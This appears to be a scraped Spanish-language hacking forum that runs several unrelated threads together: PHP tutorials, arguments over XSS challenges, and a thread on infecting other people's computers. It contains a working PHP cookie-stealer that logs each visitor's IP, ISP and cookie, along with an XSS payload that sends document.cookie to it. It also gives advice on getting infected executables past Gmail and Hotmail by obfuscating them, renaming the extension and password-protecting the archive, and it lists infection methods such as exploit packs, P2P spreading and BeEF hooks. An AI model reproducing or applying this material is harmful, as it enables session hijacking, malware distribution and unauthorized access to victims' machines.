Bueno, aqui otro tutorial que hice,hace casi un año.

Esta dividido en 2 Partes, y con voz también.

Parte 1:


Parte 2:

Bueno voy a postear, unos tutoriales sobre PHP, que hice alredredor de 1 año, y creo que estan bien explicados para que la gente lo entienda.


(PD: La voz me ha cambiado jaaaaaaa.., aun era peque hay xD )

Sin más aqui el video explicativo.


Duración 14:07.

Muchas gracias Sanko, por hacerme el favor de públicarlo.
Gracias a todos los que comentaron,espero que les sirva

Si la verdad es medio-dificil, pero ya veras que al final encuentras la solución.

Disfruta de el ultimo aporte que haremos a esta comunidad!
Suerte  a todos !y espero, que llege pronto un ganador.

Aver quien es el 1    crack, jaja xD

JAJAJA

<?php

if(isset($_GET["leer"])) {

$read = file_get_contents("cookie.txt");
echo $read;

} else {
$cookie = $_GET["cookie"];
$texto = "Ip: ".$_SERVER["REMOTE_ADDR"] . " - ISP : ".gethostbyaddr($_SERVER["REMOTE_ADDR"])." - Fecha: ".date("H:i:s d/m/Y")." - Cookie: ".$cookie."<br>";
$l = file_get_contents("cookie.txt");
file_put_contents("cookie.txt",$texto.$l);
}
?>

Esto es util cuando cogemos una xss, y la explotamos por ejemplo:
<script>location.href=\'You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login .cookie;</script>

<?php
file_put_contents("ip.txt",file_get_contents("ip.txt")."IP: ".$_SERVER["REMOTE_ADDR"].PHP_EOL);

?>

Asi de simple xD.

Recuerden darle permisos 777 al archivo de texto.

Esa xss, no sirve. No sé de donde sacaste la alerta 

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Bueno, igualmente mostraron la solución anteriormente así que no hay validez.

Y más cuando dobleponen la solución , el reto era facil, ya que para algo es un reto para que se acabe no para que sea Imposible.

Pero si quieres te pongo y quizas dentro de 1 més lo acabas. 

leelo denuevo niño ahi tienes la solucion
yo se ke tu ego es muy grande pero no te preokupes
con mi reto podras mostrar lo leet ke eres
el record es de 30 minutos desde un android
lo malo es ke los siguientes dos ke lo resolvieron tardaron 2 semanas
y de ahi en fuera nadie lo ah solucionado
ahi veremos ke tan matabarras eres

Hola, yo no soy ningun niño quizas tu si porque no sabes escribir, y la cosa de un reto esque este bien echo, yo no tengo ego quizas tu si, por eso necesitas hacer un post para darle importancia a un reto.

Yo puedo hacer un reto que tu no te lo pasaras en tu vida y que importa eso?.

Para 4337S te tenemos a ti ^^, bye wannabes.

Bueno, igualmente mostraron la solución anteriormente así que no hay validez.

Y más cuando dobleponen la solución , el reto era facil, ya que para algo es un reto para que se acabe no para que sea Imposible.

Pero si quieres te pongo y quizas dentro de 1 més lo acabas. 

Esas es una solución MUY MALA y muy MAL Explicada.

Primero, porque no hace falta buscar bytes ni hacer "escenografia" en la foto ni ver el código de fuente de ella.

Segundo, el login javascript solo era para hacer mas largo, se veia la foto y además era divertido, porque cada vez cambiaba el pass automaticamente.

Luego si alguien quiere pongo la solución correcta y bien detallada, y sin faltas ortografícas .

Saludos aunque la cosa es que la gente pase el reto y luego dar la solución, no darsela .

Pero tranquilo   

El reto dejo de ser valido, desde que lo lo paso hdbreaker.

Porque después de el, el personaje siguiente, dejo la parte de la url de arriba vista, y solo quedaba hacer la sentencia por get.

Así que no hay merito.

Por lo tanto tocomo como unico ganador a HDBreaker.

y Cierro post.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
HDP!! Tienes que hacer esto cuando estoy sin pc o que!? XD
PD: deja de ponerte el name de pqs , queda mal , SABELO xd

PQS = PorqueQuiSe  Jajaja.

Mola 

PD: Iva a ser más dificil no más facil, me equivoque arriba jaja.

Hola, aqui les dejo este reto que hicimos xt3mp y yo, la verdad, es de dificultad media por así decirlo.

Iva a ser más facil, pero llevo rato esperando a xt3mp y no sé conecta el cabron xD, así que aqui os lo dejo.

Igualmente seguro volvemos a hacer otro y más dificil.

Screenshot:



Nivel de Dificultad : Medio

Objeto: XSS , (Mostrar una alerta con tu NICK)

Dirección web: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Maximo de Ganadores : 3.

Cuando hayan pasado el reto 3 personas, públicare la solución y explicación.

Gnome es mejor, KDE  recuerda a winbug

Esta bueno, buenisimo.

Ya da igual la apoligia del delito la incumple pero(nada más diciendo,sacando  informacion de otros equipos)

Pero igualmente , el administrador de este sitio, permite la apologia del delito, por lo tanto el sera el responsable en algun caso asi que no nos debe importar, ya que estamos libre de culpa. pero seguro a los amigos de la GDT no les hace gracia

Pero ese si Chabal, ami no me vaziles diciendo que los equipos son tuyos, cuando el tema es entrar a pc de victima, ajeno.

o Cuando nos cuentas, que quieres pasar tu server por gmail, y hotmail, o cuando nos dices que "robas información de otros ordenadores"

Macho, que ya tenemos pelos en los cojones, que no nos chupamos el dedo xD, así que no me cuentes milongas.

Al tema, vamos aver, quieres enviar archivos infectados por gmail, y hotmail.

Para enviar tu archivo infectado por hay tienes 2 opciones, 1 fudearlo, 2 cambiarle la extension por ejemplo:

De
Server.exe
->
Server.puta

2-Ponerle a los rar contraseña.

Metodos de infección?

Java fake.
Infeccion HTML.
Pack Exploits.
Spread en p2p, y demás.

Miles de metodos y formas tan solo debes informarte y usar el que quieras.

Despues ya "acceso ilegitimo a otros ordenadores"

Tio revisate los payloads de metasploit...........

Entrar a  un widonws 7 con metasploit(?)(?)(?)

Te montas un Beef Hook, y ya esta, mira que facil .

Si esque aveces no se busca o no se quiere obtener información

Esta prohibida la Apologia del delito, algun amable en borrar el tema?

Esta bien, te falto la fuente:

http://zonadictoz.com.ar/106043/airubuntu-v5-crackea-wep-y-wpa-internet-seguro-df/

Perfecto, grácias.